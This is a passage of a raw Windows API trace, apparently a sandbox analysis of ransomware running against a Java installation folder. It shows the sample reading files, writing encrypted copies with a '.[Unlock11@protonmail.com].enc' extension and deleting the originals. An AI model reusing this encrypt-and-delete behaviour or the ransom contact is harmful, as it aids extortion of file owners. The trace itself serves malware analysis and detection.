ftLastWriteTime.dwLowDateTime=0xa7406c5a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3bb, dwReserved0=0x9bad2c, dwReserved1=0x0, cFileName="Welcome.html", cAlternateFileName="WELCOM~1.HTM")) returned 0 [0124.566] GetLastError () returned 0x12 [0124.566] GetCurrentThreadId () returned 0x9b0 [0124.567] GetLastError () returned 0x12 [0124.567] GetLastError () returned 0x12 [0124.567] FindClose (in: hFindFile=0x10f7750 | out: hFindFile=0x10f7750) returned 1 [0124.567] GetCurrentThreadId () returned 0x9b0 [0124.567] GetLastError () returned 0x12 [0124.567] GetLastError () returned 0x12 [0124.567] GetLastError () returned 0x12 [0124.567] GetLastError () returned 0x12 [0124.567] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881138 | out: hHeap=0x2ad0000) returned 1 [0124.567] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin")) returned 0x10 [0124.568] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20258 | out: hHeap=0x2ad0000) returned 1 [0124.568] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881258 [0124.568] GetLastError () returned 0x12 [0124.568] GetLastError () returned 0x12 [0124.568] GetLastError () returned 0x12 [0124.568] GetLastError () returned 0x12 [0124.568] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812d0 | out: hHeap=0x2ad0000) returned 1 [0124.568] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT" (normalized: "c:\\program files\\java\\jre1.8.0_144\\copyright")) returned 0x20 [0124.569] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d40 | out: hHeap=0x2ad0000) returned 1 [0124.569] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881108 [0124.569] GetCurrentThreadId () returned 0x9b0 [0124.569] GetLastError () returned 0x12 [0124.569] GetLastError () returned 0x12 [0124.569] GetLastError () returned 0x12 [0124.569] GetLastError () returned 0x12 [0124.569] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0124.569] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib")) returned 0x10 [0124.572] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20258 | out: hHeap=0x2ad0000) returned 1 [0124.572] GetLastError () returned 0x12 [0124.572] GetLastError () returned 0x12 [0124.572] GetLastError () returned 0x12 [0124.572] GetLastError () returned 0x12 [0124.573] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0124.573] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE" (normalized: "c:\\program files\\java\\jre1.8.0_144\\license")) returned 0x20 [0124.573] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fa8 | out: hHeap=0x2ad0000) returned 1 [0124.573] GetCurrentThreadId () returned 0x9b0 [0124.573] GetLastError () returned 0x12 [0124.573] GetLastError () returned 0x12 [0124.573] GetLastError () returned 0x12 [0124.573] GetLastError () returned 0x12 [0124.573] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0124.573] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\readme.txt")) returned 0x20 [0124.574] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263088 | out: hHeap=0x2ad0000) returned 1 [0124.574] GetLastError () returned 0x12 [0124.574] GetLastError () returned 0x12 [0124.574] GetLastError () returned 0x12 [0124.574] GetLastError () returned 0x12 [0124.575] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881078 | out: hHeap=0x2ad0000) returned 1 [0124.575] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\release" (normalized: "c:\\program files\\java\\jre1.8.0_144\\release")) returned 0x20 [0124.575] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262ec8 | out: hHeap=0x2ad0000) returned 1 [0124.575] GetCurrentThreadId () returned 0x9b0 [0124.575] GetLastError () returned 0x12 [0124.575] GetLastError () returned 0x12 [0124.575] GetLastError () returned 0x12 [0124.575] GetLastError () returned 0x12 [0124.575] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812d0 | out: hHeap=0x2ad0000) returned 1 [0124.576] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme-javafx.txt")) returned 0x20 [0124.576] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dbbc0 | out: hHeap=0x2ad0000) returned 1 [0124.576] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3881108, Size=0x20) returned 0x33eacd8 [0124.576] GetLastError () returned 0x12 [0124.576] GetLastError () returned 0x12 [0124.576] GetLastError () returned 0x12 [0124.576] GetLastError () returned 0x12 [0124.576] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0124.576] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme.txt")) returned 0x20 [0124.577] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887380 | out: hHeap=0x2ad0000) returned 1 [0124.577] GetCurrentThreadId () returned 0x9b0 [0124.577] GetLastError () returned 0x12 [0124.577] GetLastError () returned 0x12 [0124.577] GetLastError () returned 0x12 [0124.577] GetLastError () returned 0x12 [0124.577] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811f8 | out: hHeap=0x2ad0000) returned 1 [0124.577] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\welcome.html")) returned 0x20 [0124.577] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f38 | out: hHeap=0x2ad0000) returned 1 [0124.578] GetCurrentThreadId () returned 0x9b0 [0124.578] GetLastError () returned 0x12 [0124.578] GetLastError () returned 0x12 [0124.578] GetLastError () returned 0x12 [0124.578] GetLastError () returned 0x12 [0124.578] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT", lpFilePart=0x9bada4*="COPYRIGHT") returned 0x2c [0124.578] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f38 [0124.578] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f38 | out: hHeap=0x2ad0000) returned 1 [0124.578] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f38 [0124.578] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f38 | out: hHeap=0x2ad0000) returned 1 [0124.578] GetCurrentThreadId () returned 0x9b0 [0124.579] GetLastError () returned 0x12 [0124.579] GetLastError () returned 0x12 [0124.579] GetLastError () returned 0x12 [0124.579] GetLastError () returned 0x12 [0124.579] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE", lpFilePart=0x9bada4*="LICENSE") returned 0x2a [0124.579] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263088 [0124.579] GetCurrentThreadId () returned 0x9b0 [0124.579] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263088 | out: hHeap=0x2ad0000) returned 1 [0124.579] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262ec8 [0124.579] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262ec8 | out: hHeap=0x2ad0000) returned 1 [0124.579] GetLastError () returned 0x12 [0124.580] GetLastError () returned 0x12 [0124.580] GetLastError () returned 0x12 [0124.580] GetLastError () returned 0x12 [0124.580] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt", lpFilePart=0x9bada4*="README.txt") returned 0x2d [0124.580] GetCurrentThreadId () returned 0x9b0 [0124.580] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262de8 [0124.580] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262de8 | out: hHeap=0x2ad0000) returned 1 [0124.580] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0124.580] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e20 | out: hHeap=0x2ad0000) returned 1 [0124.580] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eaf80 [0124.580] GetLastError () returned 0x0 [0124.581] GetLastError () returned 0x0 [0124.581] GetLastError () returned 0x0 [0124.581] GetLastError () returned 0x0 [0124.581] GetCurrentThreadId () returned 0x9b0 [0124.581] GetLastError () returned 0x0 [0124.581] GetCurrentThreadId () returned 0x9b0 [0124.581] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eaf80 | out: hHeap=0x2ad0000) returned 1 [0124.581] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eaf80 [0124.581] GetLastError () returned 0x0 [0124.581] GetLastError () returned 0x0 [0124.581] GetLastError () returned 0x0 [0124.582] GetLastError () returned 0x0 [0124.582] GetCurrentThreadId () returned 0x9b0 [0124.582] GetLastError () returned 0x0 [0124.582] GetLastError () returned 0x0 [0124.582] GetLastError () returned 0x0 [0124.582] GetLastError () returned 0x0 [0124.582] GetLastError () returned 0x0 [0124.582] GetCurrentThreadId () returned 0x9b0 [0124.582] GetLastError () returned 0x0 [0124.582] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eaf80 | out: hHeap=0x2ad0000) returned 1 [0124.582] GetLastError () returned 0x0 [0124.583] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6078 | out: hHeap=0x2ad0000) returned 1 [0124.583] GetLastError () returned 0x0 [0124.583] GetLastError () returned 0x0 [0124.583] GetLastError () returned 0x0 [0124.583] GetCurrentThreadId () returned 0x9b0 [0124.583] GetLastError () returned 0x0 [0124.583] GetCurrentThreadId () returned 0x9b0 [0124.584] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x38) returned 0x2a8a5a8 [0124.584] GetLastError () returned 0x0 [0124.584] GetLastError () returned 0x0 [0124.584] GetLastError () returned 0x0 [0124.584] GetLastError () returned 0x0 [0124.584] GetCurrentThreadId () returned 0x9b0 [0124.584] GetLastError () returned 0x0 [0124.584] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a5a8 | out: hHeap=0x2ad0000) returned 1 [0124.584] GetLastError () returned 0x0 [0124.584] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d65a0 | out: hHeap=0x2ad0000) returned 1 [0124.585] GetLastError () returned 0x0 [0124.585] GetLastError () returned 0x0 [0124.585] GetLastError () returned 0x0 [0124.585] GetCurrentThreadId () returned 0x9b0 [0124.585] GetLastError () returned 0x0 [0124.585] GetLastError () returned 0x0 [0124.585] GetLastError () returned 0x0 [0124.585] GetLastError () returned 0x0 [0124.585] GetLastError () returned 0x0 [0124.585] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0124.586] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\readme.txt"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7406c5a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2e)) returned 1 [0124.586] GetLastError () returned 0x0 [0124.586] GetCurrentThreadId () returned 0x9b0 [0124.586] GetLastError () returned 0x0 [0124.586] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f38 | out: hHeap=0x2ad0000) returned 1 [0124.586] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366ab24 | out: pbBuffer=0x366ab24) returned 1 [0124.586] GetCurrentThreadId () returned 0x9b0 [0124.586] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0124.586] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5050 [0124.586] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0124.586] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eae90 [0124.587] GetLastError () returned 0x0 [0124.587] GetLastError () returned 0x0 [0124.587] GetLastError () returned 0x0 [0124.587] GetLastError () returned 0x0 [0124.587] GetCurrentThreadId () returned 0x9b0 [0124.587] GetLastError () returned 0x0 [0124.587] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eae90 | out: hHeap=0x2ad0000) returned 1 [0124.587] GetCurrentThreadId () returned 0x9b0 [0124.587] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eafa8 [0124.587] GetLastError () returned 0x0 [0124.588] GetLastError () returned 0x0 [0124.588] GetLastError () returned 0x0 [0124.588] GetLastError () returned 0x0 [0124.588] GetCurrentThreadId () returned 0x9b0 [0124.588] GetLastError () returned 0x0 [0124.588] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eafa8 | out: hHeap=0x2ad0000) returned 1 [0124.588] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32655f8 [0124.588] GetCurrentThreadId () returned 0x9b0 [0124.588] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a5050 | out: hHeap=0x2ad0000) returned 1 [0124.588] GetLastError () returned 0x0 [0124.588] GetLastError () returned 0x0 [0124.589] GetLastError () returned 0x0 [0124.589] GetLastError () returned 0x0 [0124.589] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0124.589] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x3265608 [0124.589] GetLastError () returned 0x0 [0124.589] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\readme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0124.589] GetFileType (hFile=0x39c) returned 0x1 [0124.589] GetLastError () returned 0x0 [0124.590] GetCurrentThreadId () returned 0x9b0 [0124.590] GetLastError () returned 0x0 [0124.590] GetFileType (hFile=0x39c) returned 0x1 [0124.590] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0124.590] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0124.590] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0124.590] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0124.590] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0124.590] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0124.590] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0124.590] GetLastError () returned 0x0 [0124.590] GetCurrentThreadId () returned 0x9b0 [0124.591] GetLastError () returned 0x0 [0124.591] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265608 | out: hHeap=0x2ad0000) returned 1 [0124.591] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263088 | out: hHeap=0x2ad0000) returned 1 [0124.591] GetLastError () returned 0x0 [0124.591] GetLastError () returned 0x0 [0124.591] GetLastError () returned 0x0 [0124.591] GetLastError () returned 0x0 [0124.591] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881138 | out: hHeap=0x2ad0000) returned 1 [0124.591] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x32655b8 [0124.591] GetLastError () returned 0x0 [0124.591] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\readme.txt.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0124.592] GetFileType (hFile=0x3ac) returned 0x1 [0124.592] GetLastError () returned 0x0 [0124.592] GetCurrentThreadId () returned 0x9b0 [0124.592] GetLastError () returned 0x0 [0124.592] GetFileType (hFile=0x3ac) returned 0x1 [0124.592] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0124.592] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0124.592] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0124.593] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0124.593] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0124.593] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0124.593] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0124.593] GetLastError () returned 0x0 [0124.593] GetCurrentThreadId () returned 0x9b0 [0124.593] GetLastError () returned 0x0 [0124.593] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32655b8 | out: hHeap=0x2ad0000) returned 1 [0124.593] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2040 | out: hHeap=0x2ad0000) returned 1 [0124.593] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881270 [0124.593] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0124.593] GetLastError () returned 0x0 [0124.594] GetLastError () returned 0x0 [0124.594] GetCurrentThreadId () returned 0x9b0 [0124.594] GetLastError () returned 0x0 [0124.594] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881198 | out: hHeap=0x2ad0000) returned 1 [0124.594] GetLastError () returned 0x0 [0124.594] GetLastError () returned 0x0 [0124.594] GetCurrentThreadId () returned 0x9b0 [0124.594] GetLastError () returned 0x0 [0124.594] GetLastError () returned 0x0 [0124.598] GetLastError () returned 0x0 [0124.598] GetCurrentThreadId () returned 0x9b0 [0124.598] GetLastError () returned 0x0 [0124.598] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32655f8 | out: hHeap=0x2ad0000) returned 1 [0124.598] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x48) returned 0x33db9e0 [0124.598] GetCurrentThreadId () returned 0x9b0 [0124.598] GetLastError () returned 0x0 [0124.598] GetLastError () returned 0x0 [0124.599] GetLastError () returned 0x0 [0124.599] GetLastError () returned 0x0 [0124.599] GetCurrentThreadId () returned 0x9b0 [0124.599] GetLastError () returned 0x0 [0124.599] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db9e0 | out: hHeap=0x2ad0000) returned 1 [0124.599] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811e0 [0124.599] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0124.599] GetLastError () returned 0x0 [0124.599] GetLastError () returned 0x0 [0124.599] GetCurrentThreadId () returned 0x9b0 [0124.599] GetLastError () returned 0x0 [0124.599] GetLastError () returned 0x0 [0124.600] GetLastError () returned 0x0 [0124.600] GetCurrentThreadId () returned 0x9b0 [0124.600] GetLastError () returned 0x0 [0124.600] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8598 | out: hHeap=0x2ad0000) returned 1 [0124.600] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0124.600] GetLastError () returned 0x0 [0124.601] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0124.601] CloseHandle (hObject=0x3ac) returned 1 [0124.601] GetLastError () returned 0x0 [0124.602] GetCurrentThreadId () returned 0x9b0 [0124.602] GetLastError () returned 0x0 [0124.602] GetLastError () returned 0x0 [0124.602] CloseHandle (hObject=0x39c) returned 1 [0124.602] GetLastError () returned 0x0 [0124.602] GetCurrentThreadId () returned 0x9b0 [0124.602] GetLastError () returned 0x0 [0124.602] GetLastError () returned 0x0 [0124.602] GetLastError () returned 0x0 [0124.602] GetLastError () returned 0x0 [0124.603] GetLastError () returned 0x0 [0124.603] DeleteFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\readme.txt")) returned 1 [0124.604] GetLastError () returned 0x0 [0124.604] GetCurrentThreadId () returned 0x9b0 [0124.604] GetLastError () returned 0x0 [0124.604] GetLastError () returned 0x0 [0124.604] GetLastError () returned 0x0 [0124.604] GetLastError () returned 0x0 [0124.604] GetLastError () returned 0x0 [0124.604] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\release", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\release", lpFilePart=0x9bada4*="release") returned 0x2a [0124.604] GetCurrentThreadId () returned 0x9b0 [0124.604] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0124.605] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e20 | out: hHeap=0x2ad0000) returned 1 [0124.605] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e90 [0124.605] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e90 | out: hHeap=0x2ad0000) returned 1 [0124.605] GetCurrentThreadId () returned 0x9b0 [0124.605] GetLastError () returned 0x0 [0124.605] GetLastError () returned 0x0 [0124.605] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt", lpFilePart=0x9bada4*="THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 0x45 [0124.605] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0124.605] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0124.605] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d40 [0124.605] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d40 | out: hHeap=0x2ad0000) returned 1 [0124.606] GetCurrentThreadId () returned 0x9b0 [0124.606] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eaf80 [0124.606] GetCurrentThreadId () returned 0x9b0 [0124.606] GetCurrentThreadId () returned 0x9b0 [0124.606] GetCurrentThreadId () returned 0x9b0 [0124.606] GetCurrentThreadId () returned 0x9b0 [0124.606] GetCurrentThreadId () returned 0x9b0 [0124.606] GetCurrentThreadId () returned 0x9b0 [0124.606] GetCurrentThreadId () returned 0x9b0 [0124.606] GetCurrentThreadId () returned 0x9b0 [0124.607] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme-javafx.txt"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7406c5a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xf9bd)) returned 1 [0124.607] GetCurrentThreadId () returned 0x9b0 [0124.607] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366aa5c | out: pbBuffer=0x366aa5c) returned 1 [0124.607] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0124.607] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5e18 [0124.607] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622750 | out: hHeap=0x2ad0000) returned 1 [0124.607] GetCurrentThreadId () returned 0x9b0 [0124.607] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eaf80 [0124.607] GetCurrentThreadId () returned 0x9b0 [0124.608] GetCurrentThreadId () returned 0x9b0 [0124.608] GetCurrentThreadId () returned 0x9b0 [0124.608] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme-javafx.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0124.608] GetFileType (hFile=0x39c) returned 0x1 [0124.608] GetCurrentThreadId () returned 0x9b0 [0124.608] GetFileType (hFile=0x39c) returned 0x1 [0124.608] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0124.609] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0124.609] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0124.609] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, 